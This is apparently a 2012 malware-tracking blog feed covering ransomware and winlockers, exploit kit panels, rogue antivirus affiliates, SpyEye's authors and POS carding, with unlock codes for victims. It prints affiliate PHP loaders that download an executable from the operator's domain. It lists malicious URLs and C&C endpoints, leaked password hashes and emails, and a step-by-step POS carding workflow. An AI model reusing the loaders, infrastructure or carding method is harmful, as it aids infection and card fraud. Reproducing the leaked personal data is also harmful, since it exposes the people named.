XyliBox

What the...

noreply@blogger.com (Steven K) — Sat, 26 May 2012 14:22:00 +0000

Got contacted yesterday, about a threat.
A ransomware who target german people use actually a crypter... and a message was leaved to me on the stub...

When unpack it's just some deja-vu:

A file "ACHTUNG-LESEN.txt" is leaved on the desktop

Sehr geehrte Damen und Herren,
anscheinend wurde das Update Programm vollständig unterbrochen. Jetzt kann das Virus nur manuell beseitigt werden. Dies brauchen Sie um Ihre Dateien benutzen zu können. Falls Sie also die gesperrten Daten brauchen, senden Sie uns bitte 200 Euro Ukash Code an die Email: security-center@inbox.lt, so bald dieser Code geprüft wurde, erhalten Sie ein Update Programm. Falls Sie Ihre Daten nicht brauchen raten wir Ihnen dringend Ihren Computer zu formatieren um den Virus vollständig zu entfernen. Ukash können Sie an einer beliebigen Tankstelle erwerben und auch in mehreren Internetcafes in Ihrer Nähe.
mfG Ihr Security Team

And everything is encoded

Gold Installs Affiliate

noreply@blogger.com (Steven K) — Wed, 23 May 2012 21:56:00 +0000

Advert:

ICQ:

News:

EXE:

AV test (FUD):

Withdraw:

Profile:

FAQ:

0/42 according to VT:

The EXE downloaded from the panel "653b009465_127_u.exe" is a downloader/loader with a primitive RunPE and some anti-vm:

Download files:

Downloaded file 'id.exe' is just here to update gold installs statistic:

'sm.exe' is a Smoke Bot and for asd.exe the file don't exist on the server...

• dns: 1 ›› ip: 91.218.38.153 - adresse: GAMEFANS.EU
• dns: 1 ›› ip: 91.218.38.153 - adresse: BCIOJEZTEUUEBX.IN
http://bciojezteuuebx.in/syst/guest.php
http://bciojezteuuebx.in/syst/control.php
http://bciojezteuuebx.in/ftp/ppi/127/id.exe 
http://bciojezteuuebx.in/ftp/ppi/127/sm.exe 
http://bciojezteuuebx.in/asd.exe

• dns: 1 ›› ip: 46.4.51.177 - adresse: GOLDINSTALLS.ORG

End of Eva... "what the f@#$ did i just watch?!"

Eleonore Exploits pack v1.2

noreply@blogger.com (Steven K) — Sat, 19 May 2012 05:00:00 +0000

Found on MDL, Not really interesting but posting anyway.

Statistics:

iframe:

Referer

Country:

Aldibot

noreply@blogger.com (Steven K) — Tue, 08 May 2012 23:34:00 +0000

Got this comment yesterday

Alright, let's give a shit.

Login:

Stats:

Bots:

Tasks:

Logs:

Upload:

HC Stealer 2.0.1:

Lame page:

MyFullz.com (Credit Cards/Paypal shop)

noreply@blogger.com (Steven K) — Tue, 08 May 2012 08:53:00 +0000

Index:

Admin Dashboard:

Admin Settings:

About us:

Manage Categories:

Manage Products:

Add news:

Add FAQ:

Send Email To All Buyers:

Send a product manually:

Add therms and conditions:

Sales summary:

Sales Details 1:

Sales Details 2:

Sales Details 3:

I'm not bad enought to share the user table, anyway enjoy this:

Tracking Cyber Crime: ATM skimmers (NCR/DIEBOLD)

noreply@blogger.com (Steven K) — Sun, 06 May 2012 22:33:00 +0000

"DAB" adv:

ICQ:

NCR: (images blurred for obvious reason)

"skimer4you" adv:

ICQ:

NCR:

Nano:

Diebold:

PaySitesClub affiliate recycle malware domains ?

noreply@blogger.com (Steven K) — Sun, 06 May 2012 13:47:00 +0000

PaySitesClub is a private adult affiliate program, the domains used to send the traffics are:

http://origuru.com/?pid=68
http://15-minut.com/?pid=68
http://sexderevo.com/?pid=68
http://eroderevo.com/?pid=68
http://7xtube.com/?pid=68
http://7xvideo.com/?pid=68
http://7xvideo.com/wg1/?pid=68

Problem... 7xtube.com/7xvideo was serving as winlock drop zone, and not only the domains, they used also the same templates during the whole campaign.
As well as SexDerevo/EroDerevo for MBRlock earlier back in 2011.

cf jsunpack: http://jsunpack.jeek.org/dec/getfile?hash=4ca9/03a571c56f1207e9398a0db5eb3a453b77d5

Even in one of my old 2011 post, here is a screenshots of a domain with the template of SexDerevo.

Malware domains are sometime recycled in porn and months later, exploits and fake scanners are back.
recycling domains is not a new method, example here:

Blackhole, Winlock, 0Access, PWS... you have the choice.

PaySitesClub Advert:

Statistics:

Invites:

Subaccounts:

News/About: (funny things, they asked Kaspersky to remove detections of 7xtube and 7xvideo)

21.03.2012 - Уважаемые партнёры, с доменов 7xtube.com и 7xvideo.com сняты все санкции антивируса Kaspersky. Мы как всегда очень оперативно решили проблему!

Sites:

Profile:

Active subscriptions:

Last SMS:

Last numbers:

Fragus exploit kit

noreply@blogger.com (Steven K) — Fri, 04 May 2012 15:51:00 +0000

Advert:

Visual map:

Statistics:

Files:

Sellers:

Preferences:

And clicking "Traffic links" lead the server to error 500 ¬_¬

Phoenix Exploit's Kit 3.1 full

noreply@blogger.com (Steven K) — Tue, 01 May 2012 16:44:00 +0000

3.1 changelog in Russian:

Java Web Start 2012 exploit:

Schem about alexudakov (not really searched)

3.1 changelog translated by EP_X0FF

We are pleased to present new version of pack 3.1!

-----------v3.1------------------------------------

[+]Added new JAVA ATOMIC exploit of JRE 1.6.0-1.6.0_30, 1.7.0-1.7.0_2 for FF/IE/OPERA. Sufficiently increased exploitation success.

[+]JAVA TC and JAVA RHINO combined in one .jar file

[+]added 4 activation variants:

1)JAVA with version determination, PDF with version determination before load
2)JAVA without version determination, PDF with version determination before load
3)JAVA with version determination, PDF without version determination before load
4)JAVA without version determination, PDF with version determination before load

This flexible system allows for longer not to kill traffic sources (actual for iframe traffic) or conversely with little sacrifice of traffic sources raise exploitation success (actual for Pop up traffic)

[+]The exploits delivery chain has been rewritten to be up to date, has been removed JAVA SMB, JAVA TRUST, FLASH 10 because they are no longer actual. As a consequence, there was easy to configure and install - no-Apache on port 8080 and SMB configs.

Simple statistics:

Advenced statistics:

Countries statistics:

Referers statistics:

Sources statistics:

Clear statistics:

Upload .exe:

Dumped files, CVE-2010-0094 detected as Blacole.FK by MSE.

Phoenix landing:

Part of the code, looking for the os version

Welcome to our show... hack the planet

(`id`, `user_name`, `pass_hash`, `money`, `activated`) VALUES ('588', 'alexudakov', 'd8228ee30f409166ff72ecf6642ad9fc', '0.00', '0');
(`user_id`, `icq`, `email`) VALUES ('588', '', 'andrey89@nextmail.ru');

Silence Winlocker

noreply@blogger.com (Steven K) — Fri, 20 Apr 2012 19:26:00 +0000

And ther answer is... yes!
I continue to keep an eye on these winlocks, here are some interesting cases:

MD5: C7C6735C0A143E54CAAEB38FFF252E49
Sacem, winlock targeting French ppl.

This winlock appeared when i got more important things to do than tracking malwares so i've not investigated alot on this one...
This winlock was deserved via blackhole and the winlock stuff hosted on the same BH server.

The following urls were found:

http://panuniv1.com/universal2/universalbezahlung/frankreich/
http://panuniv1.com/universal2/universalbezahlung/england/
http://panuniv1.com/universal2/universalbezahlung/deutschland/
http://panuniv1.com/universal2/universalbezahlung/holland/
http://panuniv1.com/universal2/universalbezahlung/schweiz/
http://panuniv1.com/4/
http://panuniv1.com/connect/gate.php
http://panuniv1.com/universal2/redirector/redirector.php
http://panuniv1.com/universal2/universalpanel/gate.php?hwid=2140809940&pc=XYLITOL-F12F085&localip=192.168.142.128&winver=Windows%20XP%20Professional%20x32
http://panuniv1.com/server-status/
http://panuniv1.com/phpmyadmin/
http://panuniv1.com/config/
http://panuniv1.com/3467/
http://panuniv1.com/bhadmin.php

C&C fail?:

http://panuniv1.com/universal2/universalbezahlung/frankreich/edit.php
-> Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'mfeeling_gema'@'localhost' (using password: YES) in /var/www/html/universal2/universalbezahlung/frankreich/inc/connect.php on line 2
could not connectAccess denied for user 'mfeeling_gema'@'localhost' (using password: YES)

http://panuniv1.com/universal2/universalbezahlung/frankreich/insert.php
-> Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'root'@'localhost' (using password: NO) in /var/www/html/universal2/universalbezahlung/frankreich/insert.php on line 3
Access denied for user 'root'@'localhost' (using password: NO)

---

MD5: F683C185A9EDE59394E163E7FB4C247D
Police nationale, winlock targeting french ppl (the background image change in function of your location)

Control panel (still in brute force)

Install:

The following urls were found:

http://109.236.88.220/Lc6zs7cJ7U/index.php
http://109.236.88.220/Lc6zs7cJ7U/getunlock.php
http://109.236.88.220/Lc6zs7cJ7U/unlock.php
http://109.236.88.220/Lc6zs7cJ7U/install.php 
http://109.236.88.220/Lc6zs7cJ7U/picture.php?pin=0123456789123456
http://109.236.88.220/Lc6zs7cJ7U/css/bootstrap-responsive.css
http://109.236.88.220/Lc6zs7cJ7U/css/bootstrap-responsive.min.css
http://109.236.88.220/Lc6zs7cJ7U/css/bootstrap.css
http://109.236.88.220/Lc6zs7cJ7U/css/bootstrap.min.css
http://109.236.88.220/Lc6zs7cJ7U/css/border-radius.css
http://109.236.88.220/Lc6zs7cJ7U/css/jscal2.css
http://109.236.88.220/Lc6zs7cJ7U/css/reduce-spacing.css
http://109.236.88.220/Lc6zs7cJ7U/css/shadow-b.png
http://109.236.88.220/Lc6zs7cJ7U/css/style.css
http://109.236.88.220/Lc6zs7cJ7U/css/img/cool-bg-hard-inv.png
http://109.236.88.220/Lc6zs7cJ7U/css/img/cool-bg-hard.png
http://109.236.88.220/Lc6zs7cJ7U/css/img/cool-bg-inv.png    
http://109.236.88.220/Lc6zs7cJ7U/css/img/cool-bg.png
http://109.236.88.220/Lc6zs7cJ7U/css/img/drop-down.gif
http://109.236.88.220/Lc6zs7cJ7U/css/img/drop-up.gif
http://109.236.88.220/Lc6zs7cJ7U/css/img/nav-left-x2.gif
http://109.236.88.220/Lc6zs7cJ7U/css/img/nav-left.gif
http://109.236.88.220/Lc6zs7cJ7U/css/img/nav-right-x2.gif    
http://109.236.88.220/Lc6zs7cJ7U/css/img/nav-right.gif
http://109.236.88.220/Lc6zs7cJ7U/css/img/time-down.png
http://109.236.88.220/Lc6zs7cJ7U/css/img/time-up.png
http://109.236.88.220/Lc6zs7cJ7U/css/steel/brushed-steel.jpg
http://109.236.88.220/Lc6zs7cJ7U/css/steel/brushed-steel.png
http://109.236.88.220/Lc6zs7cJ7U/css/steel/coolbg.png
http://109.236.88.220/Lc6zs7cJ7U/css/steel/steel.css
http://109.236.88.220/Lc6zs7cJ7U/css/steel/steel.jpg
http://109.236.88.220/Lc6zs7cJ7U/upload/CA.jpg
http://109.236.88.220/Lc6zs7cJ7U/upload/DE.jpg
http://109.236.88.220/Lc6zs7cJ7U/upload/ES.jpg
http://109.236.88.220/Lc6zs7cJ7U/upload/FR.jpg
http://109.236.88.220/Lc6zs7cJ7U/upload/GR.jpg
http://109.236.88.220/Lc6zs7cJ7U/upload/IT.jpg
http://109.236.88.220/Lc6zs7cJ7U/upload/PT.jpg
http://109.236.88.220/Lc6zs7cJ7U/upload/UK.jpg
http://109.236.88.220/Lc6zs7cJ7U/upload/default.jpg
http://109.236.88.220/Lc6zs7cJ7U/include/db.php
http://109.236.88.220/Lc6zs7cJ7U/include/config.php
http://109.236.88.220/Lc6zs7cJ7U/include/geoip.inc
http://109.236.88.220/Lc6zs7cJ7U/img/glyphicons-halflings.png
http://109.236.88.220/Lc6zs7cJ7U/img/glyphicons-halflings-white.png
http://109.236.88.220/Lc6zs7cJ7U/img/logo.png
http://109.236.88.220/Lc6zs7cJ7U/img/logo.jpg
http://109.236.88.220/Lc6zs7cJ7U/flags/FR.gif
http://109.236.88.220/Lc6zs7cJ7U/flags/Unknown.gif
http://109.236.88.220/Lc6zs7cJ7U/flags/AR.WOA.gif
http://109.236.88.220/Lc6zs7cJ7U/flags/SV.WOA.gif
http://109.236.88.220/Lc6zs7cJ7U/flags/RS.WOA.gif
http://109.236.88.220/Lc6zs7cJ7U/flags/PE.WOA.gif
http://109.236.88.220/Lc6zs7cJ7U/flags/NI.WOA.gif
http://109.236.88.220/Lc6zs7cJ7U/flags/LI.WOA.gif
http://109.236.88.220/Lc6zs7cJ7U/flags/HT.WOA.gif
http://109.236.88.220/Lc6zs7cJ7U/flags/CR.WOA.gif 
http://109.236.88.220/Lc6zs7cJ7U/sql/db.sql
http://109.236.88.220/Lc6zs7cJ7U/tmp/get.php 

http://109.236.88.220/SE4rFBwKlt/
http://109.236.88.220/wEP3Krh5AE/
http://109.236.88.220/P0sryovk9M/
http://91.217.153.50/adm/ 

logo.png

db.sql:

-- phpMyAdmin SQL Dump
-- version 3.3.3
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Mar 18, 2012 at 11:28 PM
-- Server version: 5.1.54
-- PHP Version: 5.3.7-ZS5.5.0

SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;

--
-- Database: `cp`
--

-- --------------------------------------------------------

--
-- Table structure for table `billing`
--

CREATE TABLE IF NOT EXISTS `billing` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `ucash` varchar(999) NOT NULL,
  `psc` varchar(999) NOT NULL,
  `ip` varchar(999) NOT NULL,
  `country` varchar(999) NOT NULL,
  `date` varchar(999) NOT NULL,
  `go` varchar(99) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=45 ;

--
-- Dumping data for table `billing`
--


-- --------------------------------------------------------

--
-- Table structure for table `checklist`
--

CREATE TABLE IF NOT EXISTS `checklist` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `ip` varchar(999) NOT NULL,
  `country` varchar(999) NOT NULL,
  `date` varchar(999) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=314 ;

--
-- Dumping data for table `checklist`
--

Silence Winlocker advertising:

And a second 'Silence winlocker' powered winlock (according to the control panel):

MD5: 6D8DB0D28948A4D91A30E51C6901BBA0
Gendarmerie, winlock targeting French ppl.

Stuff usual, remove safe boot registry keys responsible to store services etc... for lead to a BSoD if the user try to remove it in safe mode.

Check the lenghts of pins:

Malware call home:

PSC/Ukash pins:

reports.txt

Richi fake:

That all for the moment, i've no idea if the author of silence winlocker do also fake police design.
Edit: no :)

IRL, no one care but i've just bought a PS3 (:

Also if you don't know already the news.. Phrack issue #68 is out, fuckyeah!

Many people, including myself, do hacking as a hobby and choose
to participate in a different industry for our living income. If you choose
this path you will realize that as being part of this community will bring 
you a lot of happiness.

Quoted from 0x07 Happy Hacking.

Edit 27 Apr 2k12:
- More path added
- ICQ conversation added
+ Checkout this new post by Symantec guys and this

Not dead yet

noreply@blogger.com (Steven K) — Sat, 07 Apr 2012 07:48:00 +0000

Like i've says on twitter, for those who don't follow me, i'm just away for 15days/1month.
Finished to move on new house and actually waiting my new isp for box, activation and shit's.

I've checked my mail inbox, 327 e-mails recevied, including malware samples, thanks you guys !
I will probably not answer to everyone for threats info but i will do my best.

Happy easter.
(\(\
(='.')
o(_")")

Blackhole v1.2.3

noreply@blogger.com (Steven K) — Tue, 27 Mar 2012 23:22:00 +0000

Blackhole 1.2.3 released.

обновление до версии 1.2.3
1)файлы из архива перезалить поверх старых
2)учитывайте имя main.php если у вас он называется както по другому
3) в config.php надо поменять значение 'ExploitsDir'-вместо 'content' поставить 'data'
4) поставить на все залитые файлы и папки права на запись
5) сбрбосить всю стату
6) Вместо сплойта Java Pack теперь Java Array
7) в config.php поменять версию на 1.2.3

update to version 1.2.3
1) update files from archive
2) if you main.php have other name-rename it
3) in config.php change value of 'ExploitsDir' to 'data'(old value was 'content')
4) set write permission to all updated files
5) reset all statistics
6) Java Pack exploit now replaced by Java Array
7) in config.php change version to 1.2.3

HS: Sorry for my inactivity these days, busy in real life with job and moving to new house.

Behind SpyEye... Gribodemon

noreply@blogger.com (Steven K) — Tue, 27 Mar 2012 23:02:00 +0000

Not a surprise, Gribodemon have not delivered (and will never deliver?) a new SpyEye 1.3.50 update.
Customers started to become rapidly annoyed of seeing no progress and bored of gribodemon excuses for the update delay.
In parallel of the 1.3.x update, Gribodemon started to code the version 2 of SpyEye (bootkit, more injects, and some other items according to him)
The version 2 looked a totally new product, he even has been offline for several days as he's really working hard on v2
And when December 2011 come... no news... jabber bot shutdown, no more reply from the SpyEye team.
It's also due to this inactivity that most of SpyEye customers moved to others criminal toolkit like IceIX, Citadel...
Leaving Gribodemon alone with his problems...
More recently things come to light:

So now it's just vx1 and gribo running loose and there are indictments and detention orders for both of their real identities (cannot say more for obvious reasons)

The last time i've talked of SpyEye on my blog was about the Video grabber, but there is also another kind of beta plugin released the same time as the video grabber: the data grabber

FRMCP:

Data grabber:

On a limit of 100 users, infos was grabbed for these programs:

Mozilla Firefox/Opera/Internet Explorer/Google Chrome
Windows Live Messenger/Windows Live Mail
FileZilla/Windows/Total Commander/Core FTP/FreeFTP/DirectFTP
Mozilla Thunderbird/Outlook/IncrediMail
CamFrog/Cisco VPN Client/PokerStars
Windows RAS/ASP.NET/Virgin Mobile

of course this plugin target many more application, it's just a tiny part.

A guys with alot of plugins:

Now let's talk about Gribo who has gone into hiding and taken down his infrastructure.
A tiny graph about Gribodemon connections:

The SpyEye support:

Many people think there is just one guys behind SpyEye but there is an entire team.
Example with a ticket, Isla (you are a true skyzophrene dude) who use social engineering for get his license back.

So what's can we says...
1) Gribodemon don't respond directly
2) SpyEye team don't care about vulnerability report (LOL)

Another ticket regarding a bugfix:

No answer from the SpyEye team and the ticket is still open today.

Now to come back on the first picture with contacts info of Gribodemon
glazgo-update-notifier@gajim.org:
This jabber adress was a bot for get latest SpyEye packages
In September 2011 many 'good guys' used this service for get the latest SpyEye toolkit.
The SpyEye team added later a filter as response who reply each time "Unkown command. Type "!help" to display list of avaiable commands" if you are not a customer.
Anyway i've compromised many jabber accounts who was on the white list so...:)

For the Email "gribodemon@pochta.ru" it was one of the first adress he used for sell products.
When Antichat was hacked and the db published you can even find details related to this adress:

(87372, 2, '', 0, 'gribodemon', 'be1120301dc625eb3495754d8917fd58', '2009-06-07', 'gribodemon@pochta.ru', 0, '', '', '4571122', '', '', 1, '&#1056;&#1116;&#1056;&#1109;&#1056;&#1030;&#1056;&#1105;&#1057;‡&#1056;&#1109;&#1056;&#1108;', 0, 1244321423, 0, 1274652004, 1275689120, 1275688931, 4, 9, 4, 5, '3', 0, 0, 100, 100, 0, 3415, '', '0000-00-00', -1, 1, '93.91.114.18', 0, 0, '', 0, 0, -1, 10, 2, ' S3', 0, 39074, 'A410615478A274836618A591384711A705316511A35415316A451064195A1479238499A1963182541', 0),

He used firstly ICQ (4571122) then moved to jabber "gribo-demon@jabber.ru" Example in my blog with a conversation between Gribodemon and a customer

For the mail 'gribodemon5@gmail.com' of virtest it's a fake adress, the guys under is probably Ishigo (who is also a customer of SpyEye)

And for johnlecun@gmail.com and shwark.power.andrew@gmail.com i've no idea what's these gmail adress was used for, and if gribo was really behind.

Well, now that the e-mails of gribo are also demystified, let's look for some old stuff.

Gribodemon selling 'Email Regger' in 2009:

gribodemon saying he sell on MF and DC (MF stand probably for maza and DC for DirectConnect)

gribodemon answers to guys who lynch him

gribodemon have a phoenix exploit kit and traffic on it

That all... for the moment.
There is alot of things to say on what currently happens, others bloggers and av guys will probably make more constructed posts... wait and see.

Malware Protection

noreply@blogger.com (Steven K) — Tue, 13 Mar 2012 10:44:00 +0000

Thanks to Lawrence for the sample.
This trojan blocker (SHA1: 567953b3562465587d3b1c8360868d0a6bacde73 and 3f7c516fc06f84b806e2ab677442fc1e3d927364 ) prevents all software execution.
To remove the Trojan (and unlock windows), infected users need to enter a valid serial number.

Ref: 0012140809940
Phone: +16464816878
Mail: security116@gmail.com
Unlock code: 76557152140071780302280

2nd version:

Ref: 0012140809940
Phone: +16464816878
Mail: security116@gmail.com
Unlock code: aes987156

Crimepack 3.1.3

noreply@blogger.com (Steven K) — Sun, 11 Mar 2012 09:01:00 +0000

Nothing really interesting, just wanna show the (poor) stats of this guys.

Dashboard:

Referrers

Countries

Blacklist checker

Downloader

Iframe

Settings

Who want the kit ?

Edit: Another domain:

GEMA / FakePoliceAlert and money laundering

noreply@blogger.com (Steven K) — Sun, 11 Mar 2012 00:06:00 +0000

Since some days i was back on winlock tracking due to several requests.
Let's show some results.

Pwing blackhole kits (sorry no pictures, no kitten) and shit who distribute it
Finally i got multiples interesting IP who host PoliceAlert templates, like this one:

http://62.76.190.87/US/
http://62.76.190.87/CA/
http://62.76.190.87/IT/
http://62.76.190.87/DE/
http://62.76.190.87/FR/
http://62.76.190.87/UK/
http://62.76.190.87/ES/
http://62.76.190.87/SE/
http://62.76.190.87/AT/
http://62.76.190.87/FI/
http://62.76.190.87/GR/
http://62.76.190.87/BE/
http://62.76.190.87/PT/
http://62.76.190.87/LU/

Multiple GEMA on another IP:

PHP inside HTML file... *facepalm*

Some templates:

'Admin panel':

Debited PSC found (1985€):

PSC not yet debited: (700€)

Look's like they use bets sites for money laundering.
I've sent an email to Paysafecard concerning all these PIN codes, and to some French guys who do investigation in computer fraud.
Have fun, stay safe.

Best Virus Protection

noreply@blogger.com (Steven K) — Fri, 09 Mar 2012 16:44:00 +0000

According to S!Ri (and thanks for the sample)
Best Virus Protection is a fake security software (rogue). It replaces: Antimalware PC Safety, Strong Malware Defender, Smart Anti-Malware Protection, Antivirus Smart Protection, Malware Protection Center, Internet Security Guard, Home Security Solutions.

Best Virus Protection displays a lot of disturbing warning messages pushing users to purchase a license.
To register (and help removal), enter this serial code: OS7L-GMRI-A2EH-TWUJ or U2FD-S2LA-H4KA-UEPB

The following urls were found:

• dns: 1 » ip: 74.82.198.254 - adresse: WWW5.BESTVIRUS-PROTECTION.COM
http://www5.bestvirus-protection.com/?uid=7&mid=54d478139f9a9764baead4fbf8f84bd7&StrWinOS=wvXP&bid=b_Unknown&sid=11110&ls=1&errors=21&nid=0&abbr=BVP&pid=3

• dns: 1 » ip: 74.82.198.251 - adresse: SECURE1.SMARTEXB-HOLDER.COM
http://secure1.smartexb-holder.com

• dns: 1 » ip: 74.82.198.254 - adresse: SECURE2.SAVEVVZARMY.COM
http://secure2.savevvzarmy.com

FakeAV Affiliate who distribute Zaxar Family

noreply@blogger.com (Steven K) — Fri, 09 Mar 2012 14:34:00 +0000

Advert found in Blackhole

First contact the 24 Feb

Then recontact the 25, 6 and more seriously about business the 7 Mar:

9 Mar, loader operational.

"Marketing compagny" no name... no logo... look's like a private affiliate.

• dns: » ip: 188.72.248.141 - adresse: NET-WINTOOLS.BIZ

News:

Statistics:

Promo:

Statistics by promo:

Payement:

Profile:

FAQ:

load1.txt:

<?php

/*
 * Получает ехе и записывает в файл 
 * 
 */

$fileName="scanner.1";
$afid="you_afid"; // 1
$urlActualDomain = "http://net-wintools.biz/promo/domain/?category=1&api_key=[you_api_key]";

$actual_domain=file_get_contents($urlActualDomain);

if (!$actual_domain) my_error("Can't get domain.");
$exe_url="http://$actual_domain/ldpatch/softpatch.php?afid=".$afid;

$baka_exe=file_get_contents($exe_url);

if (strlen($baka_exe)> 0){
    $h = fopen($fileName,"w");
    fwrite($h,$baka_exe);
    fclose($h);     
    echo "OK";
}else{
    my_error("Can't get exe.");
}       
exit;
////////////////////////////////////////////////////////////////////////////////
function my_error($error_str)
{
     echo ("Update baka - Error:".$error_str."\r\n");
     exit;
}

?>

load2.txt:

<?php

/*
 * Load2
 * записает актуальный домен в файл 
 * 
 */

$fileDomain="domain.1";
$urlActualDomain = "http://net-wintools.biz/promo/domain/?category=1&api_key=[you_api_key]";

$actual_domain =file($urlActualDomain);

if (sizeof($actual_domain)== 0 ) my_error("Can't get domain.");

$h = fopen($fileDomain,"w");
$text=implode("", $actual_domain);
fwrite($h,"http://".$text);
fclose($h);

echo "OK";
exit;

////////////////////////////////////////////////////////////////////////////////
function my_error($error_str)
{
     echo ("Update baka - Error:".$error_str."\r\n");
     exit;
}
////////////////////////////////////////////////////////////////////////////////
?>

load3.txt

<?php
/* 
 *  Load3
 *  дописает к урл ( например /scanner15/?afid=3)
 */

$fileName="my_file.1";
$urlActualDomain = "http://net-wintools.biz/promo/domain/?category=1&api_key=[you_api_key]";

$h = fopen($fileName,"w");
$text = file($urlActualDomain);
$text=implode("", $text);

fwrite($h,"http://".$text."/scanner15/?afid=3");
fclose($h);
echo "OK";
exit;
?>

This Affiliate spread actually Antivirus Protection (if you want the sample)

Landing pages:

• dns: 1 » ip: 31.184.234.89 - adresse: SPACEIN-WEB1.UNI.ME
http://spacein-web1.uni.me/monitor10/?www=465
http://spacein-web1.uni.me/monitor11/?www=465
http://spacein-web1.uni.me/monitor15/?www=465

• dns: 1 » ip: 46.21.159.175 - adresse: VIDEO-NKLPC1.TK
http://video-nklpc1.tk/xxx2/?www=465
http://video-nklpc1.tk/xxx5/?www=465

• dns: 1 » ip: 95.211.128.136 - adresse: UBER-SCANPCXZ3.TK
• dns: 1 » ip: 95.211.128.136 - adresse: UBER-SCANPCXZ4.TK 
http://uber-scanpcxz3.tk/monitor10/?www=465
http://uber-scanpcxz3.tk/monitor11/?www=465
http://uber-scanpcxz3.tk/monitor15/?www=465

Malware dowload:

• dns: 1 » ip: 83.149.112.46 - adresse: GOADVANCED-SOFTZ.IN 
http://goadvanced-softz.in/sis/spch.php?www=465
http://goadvanced-softz.in/sis/in/out/465.exe 

• dns: 1 » ip: 205.204.87.27 - adresse: WHITE-DOGGYSOFT.IN
http://white-doggysoft.in/sis/spch.php?www=465 
http://white-doggysoft.in/sis/in/out/465.exe
http://white-doggysoft.in/soft/loader.exe
http://white-doggysoft.in/soft/installer_m.exe

Also a weird string was found in the promo server: Projects/BakaSoft/wdd2010.com/promo_new/trunk/htdocs
Maybe it's the same program or maybe he payed the people of BakaSoft and they selled the system.

Index Of/

Antivirus Protection

noreply@blogger.com (Steven K) — Fri, 09 Mar 2012 14:32:00 +0000

According to S!Ri
Antivirus Protection is a fake security software (rogue). It is from the same family as: Security Monitor 2012, Security Solution 2011, Antivirus Antispyware 2011, AntiVirus System 2011, Security Inspector 2010, AntiVirus Studio 2010, Desktop Security 2010, Total PC Defender 2010, Desktop Defender 2010, Contraviro, UnVirex.

Fake BSoD

Unpack

Anti

Serial

To register (and help removal), copy paste this code: LIC-99D0-1239-KJAS-354S-SQD4-CJKF-KF67-GJ78-FGHK-ZDU6

Kaspersky Lab Technical Support fail by giving a old serial (did they even debugged the FakeAV?)

The following urls were found:

• dns: 1 » ip: 85.17.58.199 - adresse: PRO-BESTMUSIC.US
http://pro-bestmusic.us/ea.php?p=12&aid=

• dns: 1 » ip: 85.17.58.199 - adresse: FINELABOZP.IN
http://finelabozp.in/ea.php?p=1&aid=1

• dns: 1 » ip: 195.226.218.138 - adresse: ANTIVIRUSPROTECTION2012.COM
http://www.antivirusprotection2012.com/buy/index/1/9B11F1579114D8F08FE8069672F71172

• dns: 1 » ip: 184.22.135.174 - adresse: SAFEBILLINGSERVICE.COM
http://safebillingservice.com/buy/?affiliate_id=1&machine_id=&product_domain=antivirusprotection2012.com 

Thanks to kyREcon :)

SKY-Loader v.1.2

noreply@blogger.com (Steven K) — Tue, 06 Mar 2012 22:39:00 +0000

Advert:

Fast diagram:

That feel when user/password are the one by default.

Stats:

Add task:

Bots info:

Settings:

Help:

Original malware found in BH EK, Next time don't do DNS Request to the C&C for get a file :þ

Plastic service and fake documents

noreply@blogger.com (Steven K) — Tue, 06 Mar 2012 19:25:00 +0000

To return a little on my previous post, plastic and fake documents are also a business.
Example with a guys who do plastic service (he even sell embosser/shiner)

Some pictures taken by him:

A service of fake documents with hologram:

Fake passports service by "delfin"

Service for various fake documents by vengativ0 (car documents, driving license...)

Fake ID Cards service

POS Carding

noreply@blogger.com (Steven K) — Tue, 06 Mar 2012 19:24:00 +0000

I got recently a package of files found in a infected POS (POS hacked due to a weak rdp password)

Interface of a compromised POS used by a jeweller:

out.exe is a Ardamax Keylogger (ardamax.com) and vui qua.exe is a SFX archive who display this picture when executed:

And drop Pefect Keylogger (blazingtools.com) behind.
"vui qua" might be a Vietnamese phrase which translated is "so funny".

These two keyloggers are probably useless for the carder, the interesting file here is "mmon.exe" a ram scraper.
It scan each and every process looking for CC dumps thats been written to memory Track 1, 2.
If a Point Of Sale device is connected to the computer it will grab it's card data right away.
How? POS always use end to end encryption, the only place where it's not encrypted are inside the memory.
But.. the memory have limited storage so it overwrites the data all the time.
It's also a problem for mmon, because this crap have no loop feature and does not write inside a file.
POS Carders usually use better malware than this, but i got this so...

(mmon.exe, "Kartoxa" is probably the distorted version of the word "potato")

mmon scanning process.

test of mmon with a valid track two in memory

When a dump is found, the program do nothing with it, it just display the stuff on console.
The bad guys just connect to the POS via RDP, get dumps via mmon and write them out on magnetic stripe with a card writer.

(MSR606 USB Magnetic Stripe Reader Writer/Encoder)

Then use an embosser to make imprinted numbers on the card.

(A DXR 70C embosser)

And it's ready to use... in USA (Type 101)
The ones we have in Europe are 201 cards (pin and chip)
101 only need to swipes the card in a store and the cashier checks the 4 last digits on the card if they are corect.
Carders also use printers like Fargo to make fake identities.
Anyway, a POS malware have a high price, it's not a business that everyone can do.

Antimalware PC Safety

noreply@blogger.com (Steven K) — Tue, 06 Mar 2012 19:20:00 +0000

Antimalware PC Safety is a fake Antivirus. This rogue displays fake alerts to scare users.
It replaces AV Security Essentials, Smart Anti-Malware Protection, Antivirus Smart Protection, Malware Protection Center, Internet Security Guard, Home Security Solutions, Home Safety Essentials, Anti-Malware Lab, System Smart Security, PC Security Guardian, Best Malware Protection, Internet Security Essentials, Smart Internet Protection 2011, Personal Internet Security 2011, Personal Security Sentinel, Internet Antivirus 2011, Internet Security Suite, Smart Security, My Security Shield, Security Master AV, My Security Engine, Security Guard, CleanUp Antivirus and Security Antivirus

To register (and help removal), enter this serial code: P1QM-XG6B-TVAZ-DC4W or U2FD-S2LA-H4KA-UEPB

Windows Threats Destroyer

